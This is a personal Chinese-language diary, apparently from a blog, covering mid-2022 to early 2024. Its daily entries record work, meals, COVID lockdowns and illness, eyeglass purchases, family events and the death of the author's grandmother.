回到家就不想工作了。
2022-06-17
打顺风车去广州。
2022-06-18
夏天到了，要去游泳。
2022-06-19
看了两部电影。
2022-06-20
开工了，攒钱买小汽车。
2022-06-21
日子一天天过去。
2022-06-22
忙。
2022-06-23
这几天下班都去打篮球，大概晚上九点回到公寓做饭。
2022-06-24
篮球技术，英语，这两样一直没有进步。
2022-06-25
化州香油白切鸭，真香。
2022-06-26
参加 Tess 外贸线下分享会。
2022-06-27
周一启动失败。
2022-06-28
和 WSH 一起吃烧鸡。
2022-06-29
Work, work, work.
2022-06-30
人类的生活缺少目的和意义。
2022-07
2022-07-01
几例新冠病毒患者，网上的顺风车服务就无法使用。
2022-07-02
煲仔饭真好吃。
2022-07-03
下大雨。
2022-07-04
外婆通风了。我每周都定了闹钟打电话给外婆，不过外婆开始耳背，经常接不到电话。希望神公开恩，病魔鬼怪，速速退散。
2022-07-05
沉迷科幻电视剧《西部世界》。
2022-07-06
一天又过去了，我还是一事无成。
2022-07-07
Fuck this world.
2022-07-08
体重还是在 70 kg 徘徊。
2022-07-09
Time is a great healer.
看《祝你好运，里奥·格兰德》（Good Luck to You, Leo Grande）有感：性的愉悦感，每个人都值得拥有。不管是单人，还是双人。
像在瓶子里的苍蝇，前景光明，没有出路。
照看小孩太费神，不想生。
2022-07-10
沉迷看抖音的小孩，真的很可怕。
第一次玩卡丁车，80 c.c. 的车我都不敢踩油门，换到 100 c.c. 的车，我还是不踩油门，结果熄火了。加速推背，转弯甩人，很刺激，玩了以后，手很酥。
2022-07-11
老父亲教我做菜：酿茄子的时候，不要把瓤（茄肉）掏太干净。因为茄子瓤可以提供天然的蔬菜甜味。
2022-07-12
新冠病毒越来越强，我都忘了没戴口罩出门的日子了。
2022-07-13
2 岁多的孩子最烦了。
2022-07-14
吃少了，就饿。
2022-07-15
把水果吃完了，再出远门。
2022-07-16
《鬼灭之刃》的打斗很华丽。
2022-07-17
视力下降严重了。
2022-07-18
把工位整理好，再上班。
2022-07-19
小米之家的贴膜服务 sucks。
2022-07-20
人生何时有出路？
2022-07-21
行尸走肉地打工生活。
2022-07-22
养育小孩子太费神了，可不可以不生。
2022-07-23
上完厕所，一丝不挂，上称，70.55 kg。
互联网纷繁复杂，转瞬即逝，所以我选择多看看优秀影视剧，最近在看《风骚律师》。
2022-07-24
目前还不会倒车。
2022-07-25
房间越来越乱了。
2022-07-26
沉迷《绝命律师》，没写日记。
2022-07-27
上个月的销售额好差。
2022-07-28
白夜整理房间。
2022-07-29
早上拖地。
2022-07-30
叫了货拉拉，帮人搬家。
2022-07-31
自己给手机换上新的贴膜，安逸。应该早点这么做。
2022-08
2022-08-01
冰袖真凉快。
带高中，初中，小学以及幼儿园的晚辈去大商场夹娃娃，花了 44.9 元，才夹到一个毛绒公仔，两个挂饰。
2022-08-02
受大姐之托，给即将上初中的学生讲解不科学的记单词方法，心有愧。
2022-08-03
如常。
2022-08-04
好久没逛超市了。
2022-08-05
不粘锅涂层已完全失效。
2022-08-06
潮旺渔港的晨光都市牧人酸奶（风味发酵乳），一瓶就要 28 元，而且配料有白砂糖和果胶，推销这种垃圾酸奶，自辱招牌。在 12315，高德地图，大众点评都给了差评。
2022-08-07
和高一同学聚会，8 个人吃了在春满园餐厅吃了 1428 元，有点夸张。
2022-08-08
上午继续和高一同学吃饭（光明乳鸽），下午和大学同学看车吃饭。
2022-08-09
每次吃完湘菜，第二天的便便 是 💩 稀拉拉的，屁眼是火辣辣 🔥 的。
2022-08-10
上班越来越晚了。
2022-08-11
夏天，总是有突如其来的下（夏）雨。
2022-08-12
写日记的时候要改成早上坐地铁的时候了。
2022-08-13
茶餐厅，分量足，也不贵。
2022-08-14
深圳好吃的老店不多。
2022-08-15
一周复一周。
2022-08-16
忙。
2022-08-17
得物 app 的退货体验太差了。客户说有鉴别证书，商品就是没问题的，不同意换货。继续交涉，客服说送一张 7 天有效的 33 元优惠券。我不同意，这才同意退换货。
2022-08-18
开始通过跳绳减肥，第一天，赤脚，520 下。
2022-08-19
八月又过半。
2022-08-20
突如其来的疫情，可以在家办公了。
2022-08-21
找到一个可以散步的地方，不错。
2022-08-22
新的一周，新鞋新裤。
2022-08-23
在公司吃女友准备的午餐，真幸福。
2022-08-24
没干什么，就到周三了。
2022-08-25
工作的意义，仅仅是挣钱？
2022-08-26
坐我旁边的同事经常说要提桶跑路（辞职）。
2022-08-27
深夜看完《风骚律师》的大结局。
2022-08-28
我到底想要怎样的人生？
2022-08-29
周而复始。
2022-08-30
办公室的同事都要离职了。
2022-08-31
助人为乐，也要赠人玫瑰。
2022-09
2022-09-01
九月第一天，地铁过闸时，单肩包忘在传送带出口了，只拿了便当和雨伞。
09:412022-09-02
没有波澜的日子。
2022-09-03
全深圳静默两天。
2022-09-04
电影《隐入尘烟》，结局值得思考，虽然台词有时候在刻意念金句。
2022-09-05
可以出村了。
2022-09-06
疫情封锁，何时是个头。
2022-09-07
浑浑噩噩，工作一天，有过去了。
2022-09-08
有下午茶的公司更融洽。
2022-09-09
中秋佳节，即将来临。
2022-09-10
没去哪里，在家过节。
2022-09-11
一位护士问临终的病人，他们有什么遗憾。她后来总结出了 5 个最常见的回答。不要忽视梦想。不要工作过久。说出想法。交朋友。要开心。by Paul Graham
2022-09-12
假期时间，就不想工作和学习。
2022-09-13
为什么我总捋不清这么多工作。
2022-09-14
帮人解决网络问题，获得一箱猕猴桃。
2022-09-15
不愿意在工作上把事情丢给别人。
2022-09-16
忘了今天发生的事，太平常了。
2022-09-17
没去上班，不想。
2022-09-18
在家蹲的一天。
2022-09-19
每天吃了晚饭去做核酸，已经成了一个「习惯」。
2022-09-20
多少烦恼，因钱而起。
2022-09-21
戴眼镜，眼睛疼，要找个时间去检查一下眼睛。
2022-09-22
要有时间提升自己。
2022-09-23
好久没有写博客了。
2022-09-24
新同事的小女儿和我玩得不想回家。
2022-09-25
一戴眼镜就不舒服，于是去宝岛眼镜店检查视力。视光师说我眨眼次数少导致眼干，以及调节视力差导致戴上眼镜不舒服。要多看远处，多做视力调节训练。
2022-09-26
侄女生日，五姐委托我去附近义乌商贸城买了玩具。但是小孩子收到礼物，也不会珍惜，因为太容易得到了。
2022-09-27
姨妈的小米手机电源键发烫，帮忙在京东上买了一台新的小米手机。
2022-09-28
给公司建的网站来了第一个询盘。
2022-09-29
国庆就要多了，好快呀。
定岗湖一条街在城管的治理，再也没有恢复往日的辉煌：
- 手打柠檬茶 水果茶 奶茶 糖水：加起来接近 30 家
- 串串香 烧烤 生蚝 煎豆腐 炒米粉：加起来接近 20 家
- 钵仔糕 凉粉 蛋糕 冰激凌 烤番薯板栗 冰糖葫芦：加起来 6 家
- 捞面 泡面：加起来 3 家
- 首饰 玩具：加起来 4 家
- 水果：2 家
- 吉他弹唱 自嗨唱歌 广场舞：10 家
2022-09-30
给公司建的网站来了第二个询盘。
2022-10
2022-10-01
好奇心可以被满足，兴趣无法被满足。好奇心带我们入门，兴趣让我们持之以恒。钱钟书说：「我们常把自己的写作冲动误认为自己的写作才能。」同理，我们也常把自己的好奇心误认为是自己的兴趣。by 郝海龙
现在去便利店兑换纸币现金，因为份子钱是 9 结尾。
2022-10-02
高铁发车了，前往湖北赤壁参加三姐的婚礼。
13:282022-10-03
万一被请上去发言：
各位亲朋好友，欢迎你们的到来。我是新娘的弟弟狗仔。
今天实在太开心了，因为我们家的“小公主”，也是我的三姐姐，终于找到了属于她的意中人。
我姐姐善良体贴，我姐夫开朗奋进，最重要的是，缘分让他们彼此相爱。
虽然我习武六年，但是那些姐夫欺负我姐我保证不放过他的话就不说了，因为我确信我姐夫一定会是个好丈夫。
对了，我三姐超喜欢小孩，对外甥，外甥女，侄子，侄女特别好。所以最后祝我亲爱的姐姐和姐夫早生贵子，最好一次抱两。
下午和孩子们游乐园玩了好多项目，很欢快。
2022-10-04
上午去羊楼洞，体验运输砖茶的茶马古道。
下午去陆水湖，感受疾风细雨的湖光山色。2022-10-05
湖北从 40 ℃ 降到 15 ℃，现在驱车 900 km，到葛州避寒。
2022-10-06
要养成坐车前检查行李清单的习惯。
2022-10-07
我们村花了几十万搞自来水工程，全部被贪了，现在村民还是没水喝，只能自己想办法。
在老家早起，也不觉得困。
2022-10-08
又要开始上班了。
2022-10-09
工厂是少放 2 天国庆假，今天不用补班。
2022-10-10
坚持“动态清零”，我呸。
2022-10-11
下午三点被通知要居家隔离 3 天，因为我在地铁上可能跟阳性新冠患者有时空上的接触。
2022-10-12
居家隔离第一天，3 人上门做核酸。
2022-10-13
居家隔离第二天，2 人上门收垃圾。
2022-10-14
去了一家开了 13 年的台湾味面馆，还行，
2022-10-15
周六在家蹲。
2022-10-16
去测核酸，医务人员夸我皮肤有光泽，像女孩子一样。我以为大姐说的是背后的女孩子，大姐再次确认夸的就是我。
2022-10-17
虽然很少更新博客，但还是给域名 tingtalk.me 续费了一年（$16.99 = ￥127.43）。
2022-10-18
新来的同事很有礼貌，很热情。
2022-10-19
新同事 Heidi 送了我一份 KFC 的早餐。
2022-10-20
设定了闹钟，忘记按确认，睡到接近九点。
2022-10-21
和 CT 一起吃自助烤肉，他的大板牙咬断了。
2022-10-22
CT 来我住处附近看牙，所以陪陪。
2022-10-23
绕公园跑一圈（920 m）要八分半分钟。
2022-10-24
脚还是酸的，明天再跑步吧。
2022-10-25
在极具中国特色的防疫政策下，附近的篮球场都关闭了，只好换成跑步来锻炼身体。
今晚穿着 2021 年 5 月 25 日在唯品会用 ￥122 买的黑色安踏 41 码跑鞋，绕公园跑了五圈多，用了接近 40 分钟，平均配速 7 分 57 秒每公里。呼吸紊乱，有待改进。
2022-10-26
讨厌在入职资料中填写身高，体重和收入，所以报了虚假的数字。
2022-10-27
今晚跑步的时候，一路都在打饱嗝，都怪阿颖煮的晚餐太可口。不过这次的 5 公里比上次少了 2 分钟，只用了 38 分钟。休息了 4 次，用时 18 分钟。
一个想法不一定对。在九十年代的时候，我身边的长辈特别喜欢听闽南歌。除了歌词通俗，曲风欢快的原因，《十二大美女 - 海底城泳装歌唱秀》这张专辑的发行功不可没。
上世纪 90 年代中期，台湾地区流行一种泳装模特进行对嘴的舞台秀录影 MV，台湾很多唱片公司顺应潮流，拍摄了很多泳装模特的舞台秀对嘴 MV 专辑，其中最有名气的就属台湾友信唱片公司拍摄的《十二大美女 - 海底城泳装歌唱秀》这张专辑。里面的模特大多数在台湾都有一定的知名度，比如王彩桦，其余的模特还有鲍悦君，湛容等。这张专辑之所以出名的原因就是大陆这边的咏声唱片也就是大家熟知的金碟豹当年选了 28 首歌曲做成了 DVD，LD 和 VCD 放到市面上进行销售，从而在大陆造成了一系列的轰动。by 百度百科
这些泳装模特就是那个年代的 B 站跳舞小姐姐，满足了大人们的性幻想。
2022-10-28
周五到，又可以休息了。
2022-10-29
最近的下饭视频：美剧《行尸走肉》（The Walking Dead）。
2022-10-30
半夜拉夜尿，会怕怕。
2022-10-31
十月结束，忙忙碌碌。
2022-11
2022-11-01
十一月就这么呼啦啦地来了。
2022-11-02
广州的疫情越来越严重了。
2022-11-03
想不起这一天干了什么。
2022-11-04
下毛毛雨，不用去跑步。
2022-11-05
CT 约我们中午去吃羊肉煲，但是餐厅晚餐才开始营业，换成了早茶（广式点心）。
2022-11-06
下雨，在家看《行尸走肉》。
2022-11-07
贾樟柯：不能把中国电影只做成主旋律的专卖场。
2022-11-08
接到一个超大的询盘，希望可以接下来。
2022-11-09
难道以后的人生都是这么忙碌吗？
2022-11-10
骑着电动摩托车在地铁口等人，突然一位女士向我搭讪：
“你好，走吗？”
“对不起，我不是载客的。”女士一笑而去，而我已不再年轻。
2022-11-11
在 DGH 小吃街逛了无数次，今天终于买了：
- 烤肠 1 根：¥4
- 烤面筋 3 根：￥5
- 爆米花 1 袋：￥10
2022-11-12
周六上午不去上班，老板就回来。
2022-11-13
去新来的 HXH 公园看看。
2022-11-14
压力不会转化成动力。热情才会转化成动力，压力只会转化成病历。by 早见 Hayami
八点多的地铁好挤。
2022-11-15
一天真的很快过去。
2022-11-16
总是抽不出时间来整理工位。
2022-11-17
业绩不好。
2022-11-18
周五这么快就到了。
2022-11-19
这个周六上午又没去上班。
2022-11-20
不断寻找好吃不贵的快餐店。
2022-11-21
小白鲳全部被煎散了。
2022-11-22
终于下定决心买了一台小米空气炸锅（359.62 元）。
2022-11-23
迫不及待地烤了一根老妈送下来的红薯 🍠。
趁着打折买了两公斤速冻薯条。
2022-11-24
煮熟晾干的花生米不适合放进空气炸锅。
2022-11-25
空气炸锅烤肉，不能太瘦。
2022-11-26
在家看烂尾美剧《行尸走肉》。
2022-11-27
帮 CT 搬家，他已经待业一年多了。个人项目再没有进展，就不知道干啥了。
2022-11-28
周一居家办公，下午五点半就翘班去散步了。
2022-11-29
老板忙不过来，让我跟进他的客户。
2022-11-30
天冷了，我胖了，长裤都穿不下了。
2022-12
2022-12-01
希望逐步放开疫情管控，恢复正常的经济生活状态。
2022-12-02
周五到，可以放松一下了。
2022-12-03
去给外甥 PS 补课。
2022-12-04
给侄女侄子炸薯条吃。
附近的篮球场还是没开放。
2022-12-05
年关将近。
2022-12-06
晚上回到家七点多，就不做饭了。
2022-12-07
发烧 39.2 ℃，刚刚去线下买退烧药，不给卖，只能去医院。狗日的中国防疫政策。
刚刚在网上（叮当买药）买了对乙酰氨基酚（泰诺林）。
22:402022-12-08
国务院发通知了，可以自由买退烧药了。
2022-12-09
坐地铁不用查看健康码了。
2022-12-10
周六下午，继续给外甥 PS 辅导作业。
2022-12-11
海贼王剧场版《航海王：红发歌姬》（One Piece Film: Red） 打斗场面太乱了。
2022-12-12
忙碌的周一开始了，好像回老家晒太阳。
2022-12-13
好久没做饭了，天天吃快餐。
2022-12-14
冬天不想起床。
2022-12-15
骑车去优衣库买衣服，因为寒冬将至。如何路上，小雨越下越大，把薄薄裤子打湿了。买了两条裤子和一件外套，496 元。
2022-12-16
抽绳（松紧带）裤子，长胖了也穿得下。
2022-12-17
能把只有一家生产的连花清瘟发到每家每户，却抢不到标准常用药布洛芬。
2022-12-18
和外甥们 PS PY 看世界杯季军半决赛。
01:41昨晚和 PS 睡觉，说梦话，抓我头发，打横睡，都读初一了，还是像小孩子一样不稳重。
2022-12-19
2022 卡塔尔国际足协世界杯决赛，阿根廷队都进 2 个球了，法国队居然还没开始射门，有点无趣，于是不知不觉我在比赛进行到七十多分钟睡着了。在九十多分钟醒来的时候，居然 2 比 2 追评了，姆巴佩太牛了。
接下来，我就不困了，双方你来我往，特别精彩。最终 3 比 3 进入加时赛，来到了惊心动魄的点球大战，4 比 2，法国队卫冕失败。恭喜梅西，恭喜阿根廷，捧走了这届世界杯的冠军奖杯 🏆。
冬日中午的阳光特别暖和，打工人只能待在办公室里，享受不到这样美妙的惬意时光。
中午只吃了几条番薯，下午一个人在办公室吃一整只窑鸡（￥34），解馋。
17:142022-12-20
上午拉肚子，然后发烧 37.8 ℃（腋窝），畏寒，喉咙干，全身轻度酸痛。
腋窝温度 38.4 ℃。14:12
腋窝温度 38.7 ℃。17:00
腋窝温度 39.0 ℃。20:11
晚饭后，吃了一颗对乙酰氨基酚缓释片（泰诺林）。
开始咳痰，洗完澡头痛。20:452022-12-21
眼窝疼。
凌晨四点多喉咙通到睡不着，大概半个钟喝一次水。
太热了，把贴身衣物减少了。
腋窝温度 38.5 ℃。10:36
吃了早饭后，吃了第二粒乙酰氨基酚缓释片。
第二次咳痰。
饭后都会吃橙子（橘子）和小番茄（圣女果）。
腋窝温度 37.6 ℃。没那么难受了。13:31
喉咙干了，就起来喝水（电解质水更佳），然后晚上要经常上厕所。2022-12-22
眼珠子还是会胀痛，喉咙干。不过精神状态好很多了。
咳痰次数多了，都是白色的痰。
抗原检测（15 元一只），阳性。2022-12-23
晚上突然眼睛疼，低烧，很久才睡着。
2022-12-24
基本痊愈，出去晒太阳。
2022-12-25
CGF 买小汽车了。
2022-12-26
下午去公司上了半天。
买了布洛芬，对乙酰氨基酚，N95 口罩，抗原检测盒寄回老家。
2022-12-27
喉咙不痛了。
花了 398 元买了两张《阿凡达：水之道》（激光 IMAX 3D），金逸影城的影院椅背太直，坐得很难受。而且剧情没没打磨好，不值得票价。
2022-12-28
今晚重新开始学习 Obsidian。
2022-12-29
上班。
2022-12-30
上班。
2022-12-31
2022 年的最后一天。
2023
2023-01
2023-01-01
Ting，感谢过去的分享和陪伴，希望你新一年里平安健康，事事顺心。新年快乐🎊❤️ by J.
下午和 CT 吃饭，花了他五百多，还没吃到海鲜。
2023-01-02
晒晒太阳，多么美好的事情。
2023-01-03
看到一个催更评论：「我是个迷信的人，如果一周后看不到下一集，我会迁怒于在座的各位，doge。」笑死我了。
2023-01-04
前段时间，我通过 OpenAI 的 DALL·E 2 画 logo，很有帮助，说几句话，就会出来 logo 的 idea。
2023-01-06
我决定从 2023 年开始，日记将有感而发，漏写的不会强行找句话补上。为啥？工作太忙了。
2023-01-08
没有脱衣服，吃了水果后。体重 73.5 kg。
今晚没有吃饭和吃肉，开始尝试不吃晚饭的减肥方法。
饿了。
23:232023-01-09
忘记了。
2023-01-10
熬夜工作。
01:212023-01-11
晚餐不吃米饭来减肥，昨晚睡前饿了，早上睡醒也饿。
2023-01-13
谢谢 Heidi 大大的秋月梨，两个人都吃不完。愿 2023，像秋季的月亮，多一些圆圆满满。
2023-01-14
最后一天上班。结束工作。
18:432023-01-16
回老家。
05:28盐焗凤爪相伴，归途才有范。
野艾草煲老母鸡真不错。
2023-01-17
老家使用液化气和双眼燃气灶做饭，但是老妈有时：
- 没关灶具的按压旋钮
- 只关液化气罐的阀门
假设上次没关左灶，这次使用右灶。打开阀门后，左灶就会漏气，非常危险。于是写了一个警示语提醒老妈记得关闭所有开关。
这次回老家，全部东西都没有落下，除了笔记本电脑的鼠标。
年龄最小的人才可以吃鸡腿。从 17 年大外甥出生开始，我便失去了这份偏爱。
如何证明一个村子偏僻？中国联通手机卡（SIM）在这里没有信号。所以我放牛的时候只会离家 100 米，太远了就收不到 Wi-Fi 信号。
十几年前姑丈做的碗橱，报春的小鸟，永不过时。
今天做了：
- 猪肉炸糯米丸子
- 红薯版煎堆
- 炸白萝卜丝（福建吃法）
2023-01-18
- 鳖呼吸，用肺，而非鳃。
- 龟晒背，补钙，杀菌，助消化。
- 过年了，捉只鸡染黑。
- 偷桃者，看你往哪里逃？！
- 斗智勇，光盘驱鸟行动。
- 碧连天，捕捞前的宁静。
- 看今朝，谁主浮沉？
- 三两下，疏而不漏。
- 红鲤到，红红火火真热闹。
2023-01-19
柴火架起来，炸肉卷（猪肉 + 生蚝干 + 干香菇），炒田螺，样样出彩。
甘蔗硬，纵使牙口不好，也得铁了心尝尝。枣子小，却粒粒清脆。
冷知识：守宫的脚趾有近 10 亿条纤毛，使其可依靠「范德华力」吸附在物体表面而不容易掉下来。
2023-01-20
工作五年多，终于收到年终奖了（十三薪）。
11:222023-01-21
亲爱的庭哥，一年又一年，谢谢庭哥一直以来的交流，谢谢庭哥一直以来的分享，谢谢庭哥的博客、频道和群组。群组有很多热心的小伙伴（热心杀手真的好厉害！什么问题都难不倒他。），大家自由讨论，相互分享，受益匪浅。最后祝庭哥身体健康，生活如意，新年快乐，兔年大吉！by K!ng
伟庭师兄，新春快乐呀，㊗️新一年身体健康，心想事成，万事胜意。by HLC
Tim，兔年大吉。by Grace
2023-01-22
大年初一，老爸从一楼打微信语音电话，叫我起来吃早饭。
09:07除夕夜，一点半左右睡，外甥被我的鼾声吵到两点半左右还没睡觉。
2023-01-23
外甥 CFD 梦见我被大狗追，从镇上缠斗村里，而外甥就坐在摩托车上幸灾乐祸，笑了一路。
在桌底下给狗子（布丁）铺好「床」，我在桌面上玩电脑。
2023-01-24
我喜欢的工作，人际关系干净又卫生，有一种被社会需要的踏实感。
2023-01-25
今天是新历生日。
2023-01-26
我有一个梦想，做我二姐的邻居，吃喝不愁。
身上长（zhǎng）满了「孩子」怎么办？
2023-01-28
出发，去大城市参与人类竞争。
11:002023-01-29
是非对错，一旦放在更大的时间尺度下，就会变得模糊。
2023-02
2023-02-05
汪淼：听说烈士的家属可以安排上大学。
史强：混蛋，死也轮不到你。
By 三体电视剧第 23 集2023-02-06
整理电子笔记的时候，看到一个冷知识：身份证的倒数第二位，奇数分配给男性，偶数给女性。
2023-02-15
散打，生日快乐。 新的一年早日成家！by GJL
2023-02-21
老爸今天做冠心病直接手术，希望顺顺利利。
07:16进去介入导管手术室。
09:30放个两个支架，疏通了冠状动脉血管。
10:30老妈子在老家，空等心烦，于是去田里干活了。怪不得一早上静悄悄，联系不上。
2023-02-26
侄女 ZQL 问我什么时候结婚？
我说为啥要结婚？
她说可以拍婚纱照然后放在家里。2023-03
2023-03-05
腹痛拉稀四天了，还不见好转，腹痛较轻。
消化道出血，所以大肠隐血（潜血）阳性。复方谷氨酰胺肠溶胶囊（聚克），饭前口服。
盐酸小擘碱片：饭前口服。
蒙脱石散（华纳比乐）：当前温水口服，与其他药间隔 1 到 2 小时。2023-03-10
5:30 起床，6 点入新房。煮 6 个鸡蛋，圆满。
2023-03-12
人是由他们的经历和生活环境塑造的。如果不发生一些疯狂的事情，就不可能迅速改变一个人。
2023-03-17
亲爱的老妈子，
祝您 60 岁生日快乐。您虽然年纪渐长，但是精神要永远年轻。
到了花甲之年，请保重身体：
- 少油少盐少糖
- 多喝水，出门带水壶
- 多吃水果蔬菜
- 八分饱，剩菜不值钱1
👉🤜
以及请保持心情愉悦，不用担心子女1，大家都解决温饱问题，身体健康就是大幸。
最后祝福您生日快乐，笑容满面，每天都过得比昨天更精彩！
2023-03-19
今晚告别单间出租屋，乔迁 SFY 22 楼，再也不用被早上七点半的幼儿园儿歌吵醒。
2023-04
2023-04-05
2018 年 6 月 2 号，在宝岛眼镜买的近视眼镜，左眼 2.75，右眼 1.25，轴位 80°，现在基本上已经磨花了。
度数没有上升，检查结果如下：
- 左眼球镜：-2.75
- 右眼球镜：-1.25
- 右眼柱镜：-0.5
- 右眼轴位：80
- 远用瞳距：63 mm
因为戴上眼镜就会疼，所以今天来深圳眼科医院看看，出诊医生梁家辉，一个不喜欢交谈的年轻小伙子。
自己在 1688.com 买镜片，需要向卖家提供，左右眼度数，瞳高和 ADD（下加光，用于防疲劳）。
飞信眼镜（1688 网店）：
- 普通镜片加工费 ￥40，4 天左右发货
- 蔡司镜片原厂加工费 ￥80，7 天左右发货
验光完毕后，花了 25 块钱挂了个号，看看眼睛是不是有什么病变。
潘晓华医生给出的建议：
- 深圳眼科医院的近视防控科：配隐形眼镜
- 深圳眼科医院的视光学科：做近视手
从个人所得税 App 得知 2022 年的三险一金如下：
- 基本养老保险：188.8 元 x 12 个月 = 2265.6 元
- 基本治疗保险：1770 元
- 失业保险：7.08 元 x 12 个月 = 84.96 元
- 住房公积金：0 元
公共排烟孔太小，抽油烟机吸力太大，风量是每分钟 19 立方米，导致噪音大，达到 80 dB 以上。
2023-04-09
下午去深圳宝岛眼镜（南贸店），矫正视力 1.0 的度数如下：
左眼球镜（D）：-3.00
左眼下加光（D）：+0.75
左眼瞳距：32 mm
左眼瞳高：24.5 mm
右眼球镜（D）：-1.50
右眼柱镜（D）：-0.5
右眼轴位（°）：80
右眼下加光（D）：+0.75
右眼瞳距：31.5 mm
右眼瞳高：24.5 mm
头一热，花费如下：
- 验光费：￥99
- 蔡司 1.6 智锐经典版渐进树脂镜片（短通道）钻立方铂金膜 x 2 片：￥3468
- 圣大保罗光学钛合金镜架 S.23244：￥936
- 露泰克叶黄素软胶囊 0.2 g / 粒 x 30 粒 x 4 盒（日本进口）：￥1066
- 悦家 EDX 棉片秋葵清睫棉片 2 贴 / 袋 x 14 袋 x 4 盒（冷敷眼睛）：￥567
镜片（2 片）如果通过 1688.com 购买只需要 ￥631 左右。
2023-04-10
淘宝买的 ChatGPT，刚刚登录，然后被封了。Fuck，我以为风头过了。
00:462023-05
工作忙，一个月没写。
2023-06
越来越忙。
2023-06-19
显示器（屏幕）挂灯
- 品牌：Yeelight 易来
- 型号：YLTD001（基础版，标准版）
拆掉柔光罩，换成亚克力薄板，防止灰尘和蚊虫进入
- 长度：466 mm
- 宽度：13 mm
- 厚度：1 mm
- 要求：高透，用久了不发黄
淘宝店铺名：欧立亚有机玻璃制作厂
2023-07
2023-07-12
开门大吉。愿幸福在这里驻足，财运在这里落地，笑声在这里回荡！人丁兴旺，老少平安，大富大贵，步步高升，请进。
2023-08
2023-08-20
六点起床，现在上高速。
07:50坐长途大巴车车，昨晚睡前缓存了动漫《银魂》，捂着嘴笑，怕吵到其他乘客。
10:142023-09
2023-09-01
刚刚地铁一上来，有个帅气的小男生问我能不能拥抱一下。我犹豫了一下说没问题。他报完之后就说完成任务了。
08:512023-09-05
外婆还能跟我视频通话，就是耳朵越来越背了。
19:112023-09-14
深远自行车 GT1 车架 ￥2680
骆能三元锂电池 48V50Ah ￥2100
小牛后座三件套 ￥120
一共付线下门店 ￥5100中箱在拼多多购买 ￥282
蓝牙连接后，可以长按钥匙孔开机，但是经常无法长按钥匙孔关机，需要借助小程序关机，大家遇到过吗？
2023-09-23
终于买得起苹果手机了 ¥15598：iPhone 15 Pro Max 1TB 黑 ￥13999 + AppleCare + ￥1599。花呗分期，每个月还 ￥1399。不过要 4 周至 5 周后才发货。
21:542023-10
2023-10-14
拿到 iPhone 了，提前两周发货。
19:182023-10-25
终于把爸妈从老家寄来的冷冻猪肉都吃完了，大概半年没买新鲜肉吃了。
2023-10-26
Apple ID 换邮箱攻略。
A 邮箱是我喜欢的邮箱，已注册 Apple ID，但是忘记了注册过，B 邮箱是我备用邮箱，已经买了一些 App，不想弃。
那么问题来了，如何 B 换绑到 A？注销 A 邮箱，A将无法永远注册 Apple ID。Apple 客服都没招。
突然，我灵机一动。
A 账号换绑到其它邮箱，那么 A 邮箱就空出来了，接着 B 账号换绑到 A 邮箱。这样买的 App 还在，也换成了喜欢的 Apple ID 邮箱。
如此简单，我之前居然百思不得解。
2023-10-27
肺部🫁病毒🦠感染用药💊指南：
- 磷酸奥司他韦胶囊💊（75mg/粒）：饭后口服，每日两次，每次一粒。已通过仿制药一致性评价的品牌有“奥尔菲”和“可威”。只能用于流感病毒。
- 搭配退烧药（氨咖黄敏胶囊）、止咳药（枇杷露）。
2023-10-28
昨晚发烧 39.5 摄氏度，吃了一颗布洛芬缓释胶囊，不知道几时体温就降下来了。今天去看医生，她说用布洛芬片降温速度会比较快，布洛芬缓释胶囊主要用于止痛。
2023-11
2023-11-12
凤眼莲，蓝紫色的花似凤眼。叶柄中空膨大如同“葫芦”，所以俗称“水葫芦”。凤眼蓝繁殖迅速，在合适的条件下两个星期即可繁殖一倍，被列入世界百大外来入侵种之一。
2023-11-19
和 GJL 和 XWY 在「郑远元」修脚，真过瘾。
2023-12
2023-12-07
不由地想起了小时候
国仁老弟和我
在鳌洞外婆家
无忧无虑地玩耍一晃二十多年
如今都已携手成婚
国仁还是这么帅气
我的腰间已经挂着 6 块赘肉2023-12-09
道理不应该停在「获得即满足」的阶段，还要用自己的人生体验将它们内化。幸福的关键在于预期与能力的匹配。
对知识诚实，是你能给自己最好的礼物。
2023-12-12
iOS 的 AirDrop 很难用。上周去政府部门换身份证，要把学历证明材料发给工作人员，都是苹果手机，怎么都传不过去。
2023-12-18
下午时分，九十岁的外婆去世了。虽然大小舅之间有争执，但最终没有火化遗体（被火烧，那么疼，又死无全尸，外婆当然不愿意），而是按照外婆生前最后的遗嘱，将遗体埋葬在故土，与外公隔山作伴。终于，无病无痛无牵挂，有山有水有虫鸣。
2023-12-24
00:00 就是外婆说头七时刻，我坐在厨房旁烤火，门突然被吹开了。
今天送完外婆回程路上，剑斌哥说：「外婆带走了病痛，留下了安康给大家。我们要珍惜身边的亲友，以及关心自己的知心人。」
2023-12-25
远基舅爷那边人，想把外婆与「外公与他的前妻」，三位之墓葬在一起，就是想多保佑他们，但是不考虑外婆的遗愿，保佑个屁。
外婆给我们的教诲，也是一部厚重的文化遗产，那些吉利话顺口溜，是引导我们一辈子的纲领：
- 左做左对，右做右对。
- 妖魔鬼怪不用怕，一到转角口水吐。
- 人才是最宝贝的。
这个被套上的龙头🐲，童年无聊时，我就会临摹一次。虽然不是所有人都能大富大贵，成为人中龙凤，但大家在外婆的庇佑下，身体健康，品行优良，勤劳勇敢。只要我们坚持不懈，保持对美好生活的向往，不要患得患失，怨天尤人，假以时日，一定会得到好人相助，越来越好。这就是助人者，天自助。外婆帮了这么多人，所以有这么多人来参加外婆的葬礼。外婆一辈子善良待人，过路客都要让人进家门喝水休息。
外婆每次说起我哥时，她就发自内心的开心。他的到来解决了她和老妈传宗接代的重任。
小时候，我经常一个人躺在门前台阶上，百无聊赖，望着天空，不知不觉就睡着了。
2023-12-31
2023 年的最后一天，和老婆大吵了一架。
在看 罗振宇 2024「时间的朋友」跨年演讲 - YouTube
20:30以下是我觉得还不错的金句：
“生活不能改变，我就改变，谁也别想破坏我的好心情。”——王朔
“别让这个世界对我们完全得手。”——梅赐琪
“永远是这样，风后面是风，天空上面是天空，道路前面还是道路。”——海子
“外部心跳”：创造性的驱动力，新事物的助燃剂。
手持利刃，心怀慈悲。
少看别人，多看自己；少看远方，多看附近。
“有品质的简朴，有节制的丰盛。”——马寅
破“卷”的方法千万种，归根到底就一条：各做各的卷子。
提出正确的问题，往往等于解决了问题的大半。
一行动，就创新。一具体，就深刻。一困惑，就出门。
乐观者不是相信永远阳光明媚，而是在听到预报后立即去找伞。
2024
2024-01
2024-01-01
做了一个似曾相识的噩梦，无限循环。
16:29谢谢侄女朵朵包的云吞ε٩(๑>₃<)۶з，作为叔叔的我，在 ChatGPT 的帮助下写了一首藏头打油诗：
秋手包云吞，情深意更浓。
琳心真意在，元旦新年至。
学途步步进，身体健如常。2024-01-02
两眼一闭，爱咋咋地。
午休睡不着。
